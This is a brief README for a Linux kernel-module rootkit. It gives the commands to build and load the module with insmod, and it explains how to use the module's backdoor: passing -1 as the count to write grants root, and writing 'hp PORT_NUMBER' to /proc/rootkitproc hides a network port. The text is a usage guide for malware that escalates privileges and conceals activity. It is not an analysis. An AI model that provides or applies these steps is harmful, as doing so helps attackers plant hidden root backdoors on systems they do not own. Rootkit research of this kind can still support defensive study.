lkm-rootkit

A rootkit implemented as a linux kernel module

##Syscall table: ###NOTICE: This kernel module is only compatible with 64-bit PCs. Please do NOT run if your PC is a 32-bit.

To load the 'rootkit' module:

make -f Makefile
sudo insmod rootkit.ko
dmesg | tail

To remove the module:

sudo rmmod rootkit

To be able to get root access:

After loading the module, Invoke the write function with the last
parameter (the count) passed as -1

To be able to hide a port:

After loading the module, Isssue the following command
echo "hp PORT_NUMBER" > /proc/rootkitproc

---